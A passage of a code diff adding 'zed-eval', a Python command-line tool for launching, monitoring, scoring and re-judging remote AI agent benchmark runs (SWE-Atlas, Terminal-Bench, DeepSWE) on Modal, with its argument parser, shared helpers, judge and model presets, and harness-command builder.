+        "--sandbox-timeout-secs", type=int, default=config.DEFAULT_SANDBOX_TIMEOUT_SECS
+    )
+    parser.add_argument(
+        "--sandbox-idle-timeout-secs",
+        type=int,
+        default=config.DEFAULT_SANDBOX_IDLE_TIMEOUT_SECS,
+    )
+    parser.add_argument(
+        "--eval-cli-timeout",
+        type=int,
+        help="Override the per-task agent timeout (defaults to the benchmark's)",
+    )
+    parser.add_argument("--run-id")
+    parser.add_argument(
+        "--dry-run",
+        action="store_true",
+        help="Print full manifests and harness commands without launching",
+    )
+    parser.add_argument(
+        "--plan",
+        action="store_true",
+        help="Print a concise launch plan without launching",
+    )
+    parser.add_argument(
+        "--verbose",
+        action="store_true",
+        help="With --plan, include full manifests and harness commands",
+    )
+    parser.add_argument(
+        "--extra-harbor-arg",
+        action="append",
+        help="Append one raw argument to the harness run command",
+    )
+    parser.add_argument(
+        "--swe-atlas-repo-url",
+        default=os.environ.get(
+            "AGENT_EVALS_SWE_ATLAS_REPO_URL", benchmarks.SWE_ATLAS_REPO_URL
+        ),
+        help="SWE-Atlas repo URL used for path-backed datasets",
+    )
+    parser.add_argument(
+        "--swe-atlas-repo-ref",
+        default=os.environ.get(
+            "AGENT_EVALS_SWE_ATLAS_REPO_REF", benchmarks.SWE_ATLAS_REPO_REF
+        ),
+        help="SWE-Atlas repo ref used for path-backed datasets",
+    )
+
+
+def add_suite_options(parser: argparse.ArgumentParser) -> None:
+    add_launch_options(parser)
+    parser.add_argument(
+        "--parts",
+        help="Comma-separated SWE-Atlas parts to run: qna,rf,tw (or 'all')",
+    )
+    parser.add_argument("--experiment-prefix", default="swe-atlas")
+    parser.add_argument("--run-id-prefix")
+    parser.add_argument(
+        "--suite-id", help="Explicit suite id for grouping multi-part runs"
+    )
+    parser.add_argument("--interactive", action="store_true")
+    parser.add_argument(
+        "-y",
+        "--yes",
+        action="store_true",
+        help="Never prompt; require flags/defaults",
+    )
+
+
+def add_run_lookup_options(
+    parser: argparse.ArgumentParser,
+    *,
+    require_experiment: bool = False,
+    run_id_optional: bool = False,
+) -> None:
+    if run_id_optional:
+        parser.add_argument(
+            "run_id",
+            nargs="?",
+            help="Run id (defaults to the most recent run launched from this machine)",
+        )
+    else:
+        parser.add_argument("run_id")
+    parser.add_argument(
+        "-e",
+        "--experiment-name",
+        required=require_experiment,
+        help="Benchmark storage name (auto-resolved from the local run index when omitted)",
+    )
+
+
+def add_command_parser(
+    subparsers,
+    name: str,
+    *,
+    func: object | None = None,
+    **kwargs,
+) -> argparse.ArgumentParser:
+    parser = subparsers.add_parser(name, **kwargs)
+    add_common_options(parser, include_defaults=False)
+    if func is not None:
+        parser.set_defaults(func=func)
+    return parser
+
+
+def build_parser() -> argparse.ArgumentParser:
+    parser = argparse.ArgumentParser(
+        prog="zed-eval",
+        description="Launch, monitor, and fetch remote SWE-Atlas agent evals on Modal.",
+        formatter_class=argparse.RawDescriptionHelpFormatter,
+        epilog=(
+            "Common workflows:\n"
+            "  zed-eval run swe-atlas -m sonnet-4.6       # launch the SWE-Atlas suite\n"
+            "  zed-eval run rf -m sonnet-4.6              # launch one benchmark\n"
+            "  zed-eval runs                              # what did I launch recently?\n"
+            "  zed-eval status                            # check my most recent run\n"
+            "  zed-eval status <run-id>                   # check a specific run\n"
+            "  zed-eval logs <run-id>                     # print controller logs\n"
+            "  zed-eval report <run-id> --fetch           # fetch + score a run\n"
+            "\n"
+            "After launching, a run id alone locates the run — namespace and\n"
+            "benchmark storage name are resolved from this machine's local run index."
+        ),
+    )
+    add_common_options(parser)
+    subparsers = parser.add_subparsers(dest="command", required=True)
+
+    doctor = add_command_parser(
+        subparsers,
+        "doctor",
+        func=command_doctor,
+        help="Check local prerequisites and defaults",
+    )
+    doctor.add_argument("--create-volume", action="store_true")
+
+    add_command_parser(
+        subparsers,
+        "deploy",
+        func=command_deploy,
+        help=(
+            "Publish harness code to Modal. This is the ONLY command that "
+            "deploys; deploying cancels in-flight runs. Run it once after "
+            "changing harness code — all other commands just invoke the "
+            "already-deployed functions and never deploy."
+        ),
+    )
+
+    build = add_command_parser(
+        subparsers,
+        "build",
+        func=command_build,
+        help="Build eval-cli on Modal into builds/<build-id>",
+    )
+    add_build_source_options(build)
+    build.add_argument(
+        "--build",
+        metavar="ID",
+        help="Reuse this build if it exists, otherwise create it with this id",
+    )
+    build.add_argument(
+        "--detach", action="store_true", help="Spawn the build and return immediately"
+    )
+
+    builds = add_command_parser(
+        subparsers,
+        "builds",
+        func=command_builds,
+        help="List content-addressed builds on the volume",
+    )
+    builds.add_argument("--details", action="store_true")
+    builds.add_argument("--json", action="store_true")
+    builds.add_argument("--limit", type=int, default=50)
+
+    run_cmd = add_command_parser(
+        subparsers,
+        "run",
+        func=command_run,
+        help="Run benchmarks — the everyday entry point",
+        description=(
+            "Launch runs by benchmark id, alias, or group. It picks the right "
+            "default judge for each benchmark and never prompts. The sibling "
+            "`swe-atlas` command launches SWE-Atlas parts (qna/rf/tw) with "
+            "interactive prompts."
+        ),
+    )
+    run_cmd.add_argument(
+        "benchmark",
+        nargs="+",
+        metavar="target",
+        help=(
+            "Benchmark id/alias/group (swe-atlas (= qna,rf,tw), swe-atlas-rf, "
+            "qna, rf, tw, terminal-bench-2.1 (tb21), deepswe). Comma-separated "
+            "and repeated values are combined."
+        ),
+    )
+    add_launch_options(run_cmd)
+
+    run_cmd.add_argument(
+        "--suite-id", help="Explicit suite id for multi-benchmark runs"
+    )
+    run_cmd.add_argument(
+        "--staff",
+        action="store_true",
+        help=(
+            "Run the agent with staff mode ON (default OFF). Staff mode enables "
+            "the sandboxed terminal, which hangs inside Modal sandboxes, so keep "
+            "it off for remote runs."
+        ),
+    )
+    run_cmd.add_argument(
+        "-y",
+        "--yes",
+        action="store_true",
+        help="Accepted for parity with swe-atlas; run never prompts",
+    )
+
+    report = add_command_parser(
+        subparsers,
+        "report",
+        func=command_report,
+        help="Success-conditioned metrics (rate, tokens, tool calls, steps)",
+    )
+    report.add_argument("run_id", nargs="?")
+    report.add_argument(
+        "-e",
+        "--experiment-name",
+        help="Benchmark storage name (auto-resolved from the local run index when omitted)",
+    )
+    report.add_argument("--job-dir", help="Analyze a local job directory directly")
+    report.add_argument("--jobs-dir", default=str(Path.home() / ".cache/harbor/jobs"))
+    report.add_argument(
+        "--fetch", action="store_true", help="Fetch the run archive before reporting"
+    )
+    report.add_argument(
+        "--json",
+        dest="as_json",
+        action="store_true",
+        help="Emit JSON instead of a table",
+    )
+    report.add_argument(
+        "--timeouts-as-failures",
+        dest="timeouts_as_failures",
+        action=argparse.BooleanOptionalAction,
+        default=None,
+        help=(
+            "Count agent timeouts as failures rather than excluded errors "
+            "(default: auto — on for test-scored benchmarks like terminal-bench "
+            "and deepswe)"
+        ),
+    )
+
+    cleanup = add_command_parser(
+        subparsers,
+        "cleanup",
+        func=command_cleanup,
+        help="Prune stale builds and cold build cache (never eval results)",
+    )
+    cleanup.add_argument(
+        "--dry-run",
+        action="store_true",
+        help="Report what would be removed without deleting anything",
+    )
+    cleanup.add_argument(
+        "--build-retention-days",
+        type=float,
+        help="Remove builds older than this many days (default 14)",
+    )
+
+    suite = add_command_parser(
+        subparsers,
+        "swe-atlas",
+        func=command_swe_atlas,
+        help="Launch an interactive benchmark suite (SWE-Atlas, Terminal-Bench, DeepSWE)",
+    )
+    add_suite_options(suite)
+
+    list_runs = add_command_parser(
+        subparsers,
+        "list",
+        func=command_list,
+        help="List benchmark runs on the volume, optionally with metadata",
+    )
+    list_runs.add_argument("-e", "--experiment-name")
+    list_runs.add_argument("--details", action="store_true")
+    list_runs.add_argument("--json", action="store_true")
+    list_runs.add_argument("--limit", type=int, default=50)
+    list_runs.add_argument("--all-namespaces", action="store_true")
+
+    runs = add_command_parser(
+        subparsers,
+        "runs",
+        func=command_runs,
+        help="List recent runs launched from this machine (local, fast)",
+        description=(
+            "Show runs recorded in the local run index when you launched them "
+            "from this machine — newest first, no network call. Use this for a "
+            "quick 'what did I launch lately?'; use `list --details` to query "
+            "run state on the volume, or `status <run-id>` for one run's state."
+        ),
+    )
+    runs.add_argument("--json", action="store_true")
+    runs.add_argument("--limit", type=int, default=20)
+
+    status = add_command_parser(
+        subparsers,
+        "status",
+        func=command_status,
+        help="Print a run's state.json once (no run id = most recent run)",
+    )
+    add_run_lookup_options(status, run_id_optional=True)
+
+    logs = add_command_parser(
+        subparsers,
+        "logs",
+        func=command_logs,
+        help="Print a run's controller.log once (no run id = most recent run)",
+    )
+    add_run_lookup_options(logs, run_id_optional=True)
+
+    fetch = add_command_parser(
+        subparsers,
+        "fetch",
+        func=command_fetch,
+        help="Fetch and extract a run's Harbor job archive",
+    )
+    add_run_lookup_options(fetch)
+    fetch.add_argument("--jobs-dir", default=str(Path.home() / ".cache/harbor/jobs"))
+
+    rejudge = add_command_parser(
+        subparsers,
+        "rejudge",
+        func=command_rejudge,
+        help="Re-grade a finished run with a different judge (new derived run, "
+        "reuses the agent work)",
+    )
+    add_run_lookup_options(rejudge)
+    rejudge.add_argument(
+        "-j",
+        "--judge",
+        required=True,
+        help="Judge preset to re-grade with (see config.JUDGES, e.g. "
+        "deepseek-v4-pro, kimi-k2.7-code, leaderboard)",
+    )
+    rejudge.add_argument(
+        "--judge-model",
+        dest="judge_model",
+        help="Override the judge preset's model id",
+    )
+    rejudge.add_argument(
+        "--parent-namespace",
+        dest="parent_namespace",
+        help="Namespace of the source run, if different from --namespace",
+    )
+    rejudge.add_argument(
+        "--new-run-id",
+        dest="new_run_id",
+        help="Explicit id for the derived run (default: <parent>-rejudge-<judge>-<rand>)",
+    )
+    rejudge.add_argument(
+        "--dry-run",
+        action="store_true",
+        help="Print the rejudge request without spawning the controller",
+    )
+
+    suite_group = add_command_parser(
+        subparsers,
+        "suite",
+        help="Inspect or fetch grouped benchmark suite runs",
+    )
+    suite_subparsers = suite_group.add_subparsers(dest="suite_command", required=True)
+    suite_status = add_command_parser(
+        suite_subparsers,
+        "status",
+        func=command_suite_status,
+        help="Show status for each run in a suite",
+    )
+    suite_status.add_argument("suite_id")
+    suite_status.add_argument("--json", action="store_true")
+    suite_logs = add_command_parser(
+        suite_subparsers,
+        "logs",
+        func=command_suite_logs,
+        help="Print logs for each run in a suite",
+    )
+    suite_logs.add_argument("suite_id")
+    suite_logs.add_argument("--follow", action="store_true")
+    suite_logs.add_argument("--interval", type=float, default=30.0)
+    suite_fetch = add_command_parser(
+        suite_subparsers,
+        "fetch",
+        func=command_suite_fetch,
+        help="Fetch all run archives in a suite",
+    )
+    suite_fetch.add_argument("suite_id")
+    suite_fetch.add_argument(
+        "--jobs-dir", default=str(Path.home() / ".cache/harbor/jobs")
+    )
+
+    baseline_group = add_command_parser(
+        subparsers,
+        "baseline",
+        help="Record and inspect baseline-of-record results (clean commits on main)",
+    )
+    baseline_subparsers = baseline_group.add_subparsers(
+        dest="baseline_command", required=True
+    )
+    baseline_record = add_command_parser(
+        baseline_subparsers,
+        "record",
+        func=command_baseline_record,
+        help="Promote completed run(s) to the baseline of record for their (benchmark, model)",
+    )
+    baseline_record.add_argument("run_id", nargs="+")
+    baseline_record.add_argument("--experiment-name", required=True)
+    baseline_record.add_argument(
+        "--allow-dirty",
+        action="store_true",
+        help="Record even though the build carries a local patch (not a clean commit)",
+    )
+    baseline_record.add_argument(
+        "--allow-off-main",
+        action="store_true",
+        help="Record even though base_sha can't be verified as reachable from origin/main",
+    )
+    baseline_record.add_argument(
+        "--repo-url",
+        default=os.environ.get("AGENT_EVALS_REPO_URL"),
+        help="Git remote to resolve origin/main against (default: AGENT_EVALS_REPO_URL or the canonical repo)",
+    )
+
+    baseline_list = add_command_parser(
+        baseline_subparsers,
+        "list",
+        func=command_baseline_list,
+        help="List the current baseline of record for every (benchmark, model)",
+    )
+    baseline_list.add_argument("--json", action="store_true")
+
+    baseline_show = add_command_parser(
+        baseline_subparsers,
+        "show",
+        func=command_baseline_show,
+        help="Show the baseline record for one (benchmark, model)",
+    )
+    baseline_show.add_argument("experiment_name")
+    baseline_show.add_argument("--model", required=True)
+    baseline_show.add_argument(
+        "--history", action="store_true", help="Include superseded baselines"
+    )
+
+    return parser
+
+
+def main(argv: list[str] | None = None) -> int:
+    parser = build_parser()
+    args = parser.parse_args(argv)
+    try:
+        return args.func(args)
+    except (ValueError, AppNotDeployedError) as error:
+        print(f"error: {error}", file=sys.stderr)
+        return 1
+    except subprocess.CalledProcessError as error:
+        if error.stdout:
+            print(error.stdout, end="")
+        if error.stderr:
+            print(error.stderr, end="", file=sys.stderr)
+        return error.returncode
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())
diff --git a/crates/eval_cli/zed_eval/common.py b/crates/eval_cli/zed_eval/common.py
new file mode 100644
index 00000000000000..7ae6083231d33d
--- /dev/null
+++ b/crates/eval_cli/zed_eval/common.py
@@ -0,0 +1,220 @@
+from __future__ import annotations
+
+import argparse
+import datetime
+import json
+import os
+import pathlib
+import shutil
+import subprocess
+import tarfile
+from typing import Any
+
+from . import config, source
+
+ALL_SWE_ATLAS_PARTS = ["qna", "rf", "tw"]
+
+
+def utc_timestamp() -> str:
+    return datetime.datetime.now(datetime.timezone.utc).strftime("%Y%m%dT%H%M%SZ")
+
+
+def utc_now() -> str:
+    return datetime.datetime.now(datetime.timezone.utc).isoformat()
+
+
+def print_json(data: Any) -> None:
+    print(json.dumps(data, indent=2, sort_keys=True))
+
+
+def write_json(path: pathlib.Path, data: dict[str, Any]) -> None:
+    path.parent.mkdir(parents=True, exist_ok=True)
+    path.write_text(json.dumps(data, indent=2, sort_keys=True) + "\n")
+
+
+def load_json(path: pathlib.Path) -> dict[str, Any] | None:
+    try:
+        data = json.loads(path.read_text())
+    except (OSError, json.JSONDecodeError):
+        return None
+    return data if isinstance(data, dict) else None
+
+
+def safe_extract_archive(archive: tarfile.TarFile, destination: pathlib.Path) -> None:
+    destination = destination.resolve()
+    members = archive.getmembers()
+    for member in members:
+        if member.issym() or member.islnk():
+            raise ValueError(f"archive links are not supported: {member.name}")
+        target = (destination / member.name).resolve()
+        if destination != target and destination not in target.parents:
+            raise ValueError(f"archive member escapes destination: {member.name}")
+    archive.extractall(destination, members=members)
+
+
+def command_exists(name: str) -> bool:
+    return shutil.which(name) is not None
+
+
+def run_command(
+    command: list[str], *, capture: bool = False
+) -> subprocess.CompletedProcess[str]:
+    return subprocess.run(command, check=True, text=True, capture_output=capture)
+
+
+def dedupe_preserving_order(values: list[str]) -> list[str]:
+    seen = set()
+    result = []
+    for value in values:
+        if value in seen:
+            continue
+        seen.add(value)
+        result.append(value)
+    return result
+
+
+def parse_comma_values(values: list[str] | None) -> list[str]:
+    result = []
+    for value in values or []:
+        result.extend(part.strip() for part in value.split(",") if part.strip())
+    return result
+
+
+def parse_parts(values: list[str] | None) -> list[str]:
+    requested = parse_comma_values(values)
+    if any(value.lower() == "all" for value in requested):
+        return list(ALL_SWE_ATLAS_PARTS)
+    return dedupe_preserving_order(
+        [config.canonical_part(value) for value in requested]
+    )
+
+
+def configure_modal_environment(args: argparse.Namespace) -> None:
+    os.environ["AGENT_EVALS_APP_NAME"] = args.app_name
+    os.environ["AGENT_EVALS_VOLUME"] = args.volume
+    os.environ["AGENT_EVALS_MODAL_TOKEN_SECRET"] = args.modal_token_secret
+    os.environ["AGENT_EVALS_LLM_PROVIDERS_SECRET"] = args.api_secret
+
+
+def import_modal_app(args: argparse.Namespace):
+    configure_modal_environment(args)
+    from . import modal_app
+
+    return modal_app
+
+
+class AppNotDeployedError(RuntimeError):
+    """Raised when a Modal function lookup fails because the app (or that
+    specific function) has not been deployed. Surfaced as a clean CLI error
+    pointing the user at `zed-eval deploy`.
+    """
+
+
+def deploy_app(args: argparse.Namespace) -> None:
+    """Publish the Modal app. This is the ONLY code path that deploys.
+
+    Deploying replaces the live app and cancels any in-flight eval runs, so it
+    must happen exclusively via the `deploy` subcommand. Every other command
+    just looks up already-deployed functions with `deployed_function`. After
+    changing harness code, run `zed-eval deploy` once.
+    """
+    modal_app = import_modal_app(args)
+    print(f"Deploying Modal app '{args.app_name}'...")
+    modal_app.app.deploy(name=args.app_name)
+
+
+def deployed_function(args: argparse.Namespace, function_name: str):
+    """Look up an already-deployed Modal function. Never deploys.
+
+    `modal.Function.from_name` resolves a published function without deploying,
+    which is exactly what we want: deploying would cancel in-flight runs. We
+    hydrate eagerly so a missing app/function fails here with an actionable
+    message instead of deep inside a later `.spawn()`/`.remote()` call.
+    """
+    import modal
+    from modal.exception import NotFoundError
+
+    configure_modal_environment(args)
+    function = modal.Function.from_name(args.app_name, function_name)
+    try:
+        function.hydrate()
+    except NotFoundError as error:
+        raise AppNotDeployedError(
+            f"app '{args.app_name}' not deployed (or function "
+            f"'{function_name}' missing) — run 'zed-eval deploy' first"
+        ) from error
+    return function
+
+
+def modal_call_id(call: Any) -> str:
+    for attribute in ("object_id", "id", "function_call_id"):
+        value = getattr(call, attribute, None)
+        if value:
+            return str(value)
+    return str(call)
+
+
+def print_table(rows: list[dict[str, Any]], columns: list[tuple[str, str]]) -> None:
+    if not rows:
+        print("No rows")
+        return
+    widths = []
+    for key, title in columns:
+        width = len(title)
+        for row in rows:
+            width = max(width, len(str(row.get(key) or "")))
+        widths.append(min(width, 80))
+    print(
+        "  ".join(
+            title.ljust(widths[index]) for index, (_key, title) in enumerate(columns)
+        )
+    )
+    print("  ".join("-" * width for width in widths))
+    for row in rows:
+        cells = []
+        for index, (key, _title) in enumerate(columns):
+            text = str(row.get(key) or "")
+            if len(text) > widths[index]:
+                text = text[: widths[index] - 1] + "…"
+            cells.append(text.ljust(widths[index]))
+        print("  ".join(cells))
+
+
+def default_namespace(args: argparse.Namespace) -> str:
+    return source.sanitize_namespace(args.namespace or source.default_namespace())
+
+
+def resolve_run_location(args: argparse.Namespace, run_id: str) -> tuple[str, str]:
+    """Resolve (namespace, experiment_name) for a run-lookup command.
+
+    When `--experiment-name` is given, behaves exactly as before: namespace comes
+    from `--namespace` or the local git default. When it is omitted, the run is
+    located via the launch-time local run index (`run_index`) so a bare run id is
+    enough. Raises a friendly error pointing at the explicit flags when the run
+    can't be found.
+    """
+    from . import run_index
+
+    explicit_experiment = getattr(args, "experiment_name", None)
+    explicit_namespace = getattr(args, "namespace", None)
+    if explicit_experiment:
+        namespace = explicit_namespace or source.default_namespace()
+        return (
+            source.sanitize_namespace(namespace),
+            source.sanitize_namespace(explicit_experiment),
+        )
+    entry = run_index.lookup(run_id)
+    if not entry:
+        raise ValueError(
+            f"could not locate run '{run_id}' in the local run index "
+            f"({run_index.index_path()}). Pass --experiment-name (and "
+            "--namespace if it isn't yours). The index is written automatically "
+            "when you launch a run from this machine."
+        )
+    namespace = (
+        explicit_namespace or entry.get("namespace") or source.default_namespace()
+    )
+    return (
+        source.sanitize_namespace(namespace),
+        source.sanitize_namespace(entry["experiment_name"]),
+    )
diff --git a/crates/eval_cli/zed_eval/config.py b/crates/eval_cli/zed_eval/config.py
new file mode 100644
index 00000000000000..94112db6b47c8c
--- /dev/null
+++ b/crates/eval_cli/zed_eval/config.py
@@ -0,0 +1,164 @@
+from __future__ import annotations
+
+import shlex
+from dataclasses import dataclass
+
+DEFAULT_APP_NAME = "agent-evals"
+DEFAULT_VOLUME_NAME = "agent-evals"
+# Modal secret holding the LLM provider keys (ANTHROPIC_API_KEY, BASETEN_API_KEY,
+# ...) mounted into trial sandboxes.
+DEFAULT_LLM_PROVIDERS_SECRET_NAME = "agent-evals-llm-providers"
+# Modal secret holding the controller's Modal token (MODAL_TOKEN_ID/SECRET).
+DEFAULT_MODAL_TOKEN_SECRET_NAME = "agent-evals-modal-token"
+HARBOR_VERSION = "0.15.0"
+MODAL_VERSION = "1.5.0"
+CONTROLLER_IMAGE_RECIPE_VERSION = "agent-evals-controller-image-v1"
+DEFAULT_MODEL = "anthropic/claude-sonnet-4-6"
+DEFAULT_JUDGE_PRESET = "auto"
+BASETEN_API_URL = "https://inference.baseten.co/v1"
+BASETEN_PROVIDER_ID = "baseten"
+BASETEN_DEFAULT_MAX_TOKENS = 262_144
+BASETEN_DEFAULT_MAX_OUTPUT_TOKENS = 65_536
+
+# Kept modest on purpose: the agent model's API key is the real bottleneck,
+# not Modal capacity. Snickerdoodle-EAP is capped at 2M ITPM / 400K OTPM, and
+# ~150 concurrent agent loops (3 jobs x 50) blew past that. One job at this
+# concurrency stays well under the ceiling; raise only if you've confirmed the
+# model's rate limits have headroom.
+DEFAULT_N_CONCURRENT = 25
+DEFAULT_SANDBOX_TIMEOUT_SECS = 14_400
+DEFAULT_SANDBOX_IDLE_TIMEOUT_SECS = 300
+# No per-task resource override by default. When these are None the
+# --override-cpus/--override-memory-mb flags are omitted entirely, so Harbor
+# applies each task's declared cpus/memory (SWE-Atlas tasks declare 16 CPU /
+# 16 GB). Overriding *below* the declared values OOM-kills memory-heavy tasks
+# (SIGKILL / exit 137) and, per the resource policy, changes the experimental
+# conditions. Pass --override-cpus/--override-memory-mb to opt into smaller
+# sandboxes deliberately.
+DEFAULT_OVERRIDE_CPUS = None
+DEFAULT_OVERRIDE_MEMORY_MB = None
+EVAL_BASE_URL_IN_SANDBOX = "http://127.0.0.1:8089/v1"
+JUDGE_PROXY_VERIFIER_IMPORT_PATH = "zed_eval.verifier:ZedJudgeProxyVerifier"
+
+
+@dataclass(frozen=True)
+class JudgeConfig:
+    model: str
+    upstream: str
+    auth_env: str
+    # Floor for the judge's max_completion_tokens, applied by the in-sandbox
+    # judge shim (ZED_JUDGE_MAX_TOKENS). Set for Baseten judges so the runtime
+    # judge matches the offline calibration (8192); left None for the
+    # opus/leaderboard path so it stays leaderboard-faithful at the verifier's
+    # hardcoded 2048.
+    max_tokens: int | None = None
+
+
+def judge_verifier_args(judge: JudgeConfig, judge_model: str) -> list[str]:
+    args = [
+        "--verifier-import-path",
+        JUDGE_PROXY_VERIFIER_IMPORT_PATH,
+        "--ve",
+        f"EVAL_MODEL={judge_model}",
+        "--ve",
+        f"EVAL_BASE_URL={EVAL_BASE_URL_IN_SANDBOX}",
+        "--ve",
+        "EVAL_API_KEY=unused-by-agent-evals-proxy",
+        "--ve",
+        f"ZED_JUDGE_UPSTREAM={judge.upstream}",
+        "--ve",
+        f"ZED_JUDGE_AUTH_ENV={judge.auth_env}",
+    ]
+    if judge.max_tokens is not None:
+        args.extend(["--ve", f"ZED_JUDGE_MAX_TOKENS={judge.max_tokens}"])
+    return args
+
+
+def redacted_command(command: list[str]) -> str:
+    return shlex.join(
+        "EVAL_API_KEY=<redacted>" if argument.startswith("EVAL_API_KEY=") else argument
+        for argument in command
+    )
+
+
+JUDGES: dict[str, JudgeConfig] = {
+    "leaderboard": JudgeConfig(
+        model="claude-opus-4-5-20251101",
+        upstream="https://api.anthropic.com/v1",
+        auth_env="ANTHROPIC_API_KEY",
+    ),
+    "opus-leaderboard": JudgeConfig(
+        model="claude-opus-4-5-20251101",
+        upstream="https://api.anthropic.com/v1",
+        auth_env="ANTHROPIC_API_KEY",
+    ),
+    "deepseek-v4-pro": JudgeConfig(
+        model="deepseek-ai/DeepSeek-V4-Pro",
+        upstream=BASETEN_API_URL,
+        auth_env="BASETEN_API_KEY",
+        max_tokens=8192,
+    ),
+    "deepseek": JudgeConfig(
+        model="deepseek-ai/DeepSeek-V4-Pro",
+        upstream=BASETEN_API_URL,
+        auth_env="BASETEN_API_KEY",
+        max_tokens=8192,
+    ),
+    "kimi-k2.7-code": JudgeConfig(
+        model="moonshotai/Kimi-K2.7-Code",
+        upstream=BASETEN_API_URL,
+        auth_env="BASETEN_API_KEY",
+        max_tokens=8192,
+    ),
+    "kimi": JudgeConfig(
+        model="moonshotai/Kimi-K2.7-Code",
+        upstream=BASETEN_API_URL,
+        auth_env="BASETEN_API_KEY",
+        max_tokens=8192,
+    ),
+    "gpt55": JudgeConfig(
+        model="gpt-5.5-2026-04-23",
+        upstream="https://api.openai.com/v1",
+        auth_env="OPENAI_API_KEY",
+    ),
+}
+
+
+MODEL_PRESETS: dict[str, str] = {
+    "sonnet-4.6": DEFAULT_MODEL,
+    "claude-sonnet-4.6": DEFAULT_MODEL,
+    "sonnet-4.6-latest": "anthropic/claude-sonnet-4-6-latest",
+    "opus-4.5": "anthropic/claude-opus-4-5",
+    "baseten:kimi-k2.7-code": "baseten/moonshotai/Kimi-K2.7-Code",
+    "baseten:kimi": "baseten/moonshotai/Kimi-K2.7-Code",
+    "baseten:deepseek-v4-pro": "baseten/deepseek-ai/DeepSeek-V4-Pro",
+    "baseten:deepseek": "baseten/deepseek-ai/DeepSeek-V4-Pro",
+}
+
+
+def orchestration_info() -> dict[str, str]:
+    return {
+        "controller_image_recipe_version": CONTROLLER_IMAGE_RECIPE_VERSION,
+        "harbor_version": HARBOR_VERSION,
+        "modal_client_version": MODAL_VERSION,
+    }
+
+
+def get_judge(name: str) -> JudgeConfig:
+    try:
+        return JUDGES[name]
+    except KeyError as error:
+        valid = ", ".join(sorted(JUDGES))
+        raise ValueError(f"unknown judge preset '{name}' (valid: {valid})") from error
+
+
+def canonical_part(part: str) -> str:
+    normalized = part.strip().lower()
+    if normalized in ("qna", "rf", "tw"):
+        return normalized
+    valid = ", ".join(("qna", "rf", "tw"))
+    raise ValueError(f"unknown SWE-Atlas part '{part}' (valid: {valid})")
+
+
+def resolve_model_preset(model: str) -> str:
+    return MODEL_PRESETS.get(model, model)
diff --git a/crates/eval_cli/zed_eval/harness_command.py b/crates/eval_cli/zed_eval/harness_command.py
new file mode 100644
index 00000000000000..f6024d534f9c3b
--- /dev/null
+++ b/crates/eval_cli/zed_eval/harness_command.py
@@ -0,0 +1,220 @@
+"""Build the harness command (Harbor or Pier) for a benchmark run request.
+
+The command is driven by the self-describing `benchmark` block embedded in a run
+request (see `benchmarks.benchmark_metadata`), so it works for any registered
+benchmark without a separate experiment registry lookup.
+"""
+
+from __future__ import annotations
+
+import json
+from typing import Any
+
+from . import benchmarks, config
+
+
+def _benchmark_block(run_request: dict[str, Any]) -> dict[str, Any]:
+    block = run_request.get("benchmark")
+    if not isinstance(block, dict):
+        raise ValueError("run request is missing a 'benchmark' block")
+    return block
+
+
+def dataset_args(benchmark: dict[str, Any]) -> list[str]:
+    dataset = benchmark.get("dataset") or {}
+    kind = dataset.get("kind")
+    if kind == benchmarks.DATASET_REGISTRY:
+        name = dataset.get("name")
+        if not name:
+            raise ValueError("registry dataset requires a name")
+        return ["-d", name]
+    if kind in (benchmarks.DATASET_PATH, benchmarks.DATASET_PIER_PATH):
+        data_dir = dataset.get("data_dir")
+        if not data_dir:
+            raise ValueError("path dataset requires data_dir")
+        return ["-p", dataset_path(benchmark)]
+    raise ValueError(f"unsupported dataset kind: {kind}")
+
+
+def dataset_clone_dir(benchmark: dict[str, Any]) -> str:
+    """Where the controller clones the dataset repo for path datasets."""
+    return f"/tmp/datasets/{benchmark['id']}"
+
+
+def dataset_path(benchmark: dict[str, Any]) -> str:
+    """Repo-relative task directory inside the cloned dataset repo."""
+    dataset = benchmark.get("dataset") or {}
+    return f"{dataset_clone_dir(benchmark)}/{dataset.get('data_dir')}"
+
+
+def harness_binary(benchmark: dict[str, Any]) -> str:
+    harness = benchmark.get("harness")
+    if harness not in (benchmarks.HARNESS_HARBOR, benchmarks.HARNESS_PIER):
+        raise ValueError(f"unsupported harness: {harness}")
+    return harness
+
+
+def eval_cli_timeout(run_request: dict[str, Any], benchmark: dict[str, Any]) -> int:
+    return int(
+        run_request.get("eval_cli_timeout")
+        or benchmark.get("default_timeout_secs")
+        or config.DEFAULT_SANDBOX_TIMEOUT_SECS
+    )
+
+
+def build_harness_command(run_request: dict[str, Any], jobs_dir: str) -> list[str]:
+    benchmark = _benchmark_block(run_request)
+    build_id = run_request.get("build_id")
+    if not build_id:
+        raise ValueError("zed benchmarks require build_id")
+    volume_name = run_request["volume_name"]
+    api_secret_name = run_request["api_secret_name"]
+    run_id = run_request["run_id"]
+    agent_model = run_request.get("agent_model") or config.DEFAULT_MODEL
+    n_concurrent = int(run_request.get("n_concurrent") or config.DEFAULT_N_CONCURRENT)
+    sandbox_timeout_secs = int(
+        run_request.get("sandbox_timeout_secs") or config.DEFAULT_SANDBOX_TIMEOUT_SECS
+    )
+    sandbox_idle_timeout_secs = int(
+        run_request.get("sandbox_idle_timeout_secs")
+        or config.DEFAULT_SANDBOX_IDLE_TIMEOUT_SECS
+    )
+    override_cpus = run_request.get("override_cpus") or config.DEFAULT_OVERRIDE_CPUS
+    override_memory_mb = (
+        run_request.get("override_memory_mb") or config.DEFAULT_OVERRIDE_MEMORY_MB
+    )
+
+    secret_names = [api_secret_name]
+    for extra_secret_name in run_request.get("extra_api_secrets") or []:
+        if extra_secret_name not in secret_names:
+            secret_names.append(extra_secret_name)
+
+    command = [
+        harness_binary(benchmark),
+        "run",
+        *dataset_args(benchmark),
+        "-m",
+        agent_model,
+        "--env",
+        "modal",
+        "--n-concurrent",
+        str(n_concurrent),
+        "--job-name",
+        run_id,
+        "--jobs-dir",
+        jobs_dir,
+        "--ek",
+        f"volumes={json.dumps({'/data': volume_name})}",
+        "--ek",
+        f"secrets={json.dumps(secret_names)}",
+        "--ek",
+        f"sandbox_timeout_secs={sandbox_timeout_secs}",
+        "--ek",
+        f"sandbox_idle_timeout_secs={sandbox_idle_timeout_secs}",
+        # Harbor and Pier have different installed-agent interfaces, so each gets
+        # its own thin agent shell (the sanctioned cross-framework exception).
+        "--agent-import-path",
+        (
+            "zed_eval.pier_agent:ZedPierAgent"
+            if harness_binary(benchmark) == benchmarks.HARNESS_PIER
+            else "zed_eval.agent:ZedAgent"
+        ),
+        "--ae",
+        f"EVAL_CLI_CONTAINER_PATH=/data/builds/{build_id}/eval-cli",
+        "--ae",
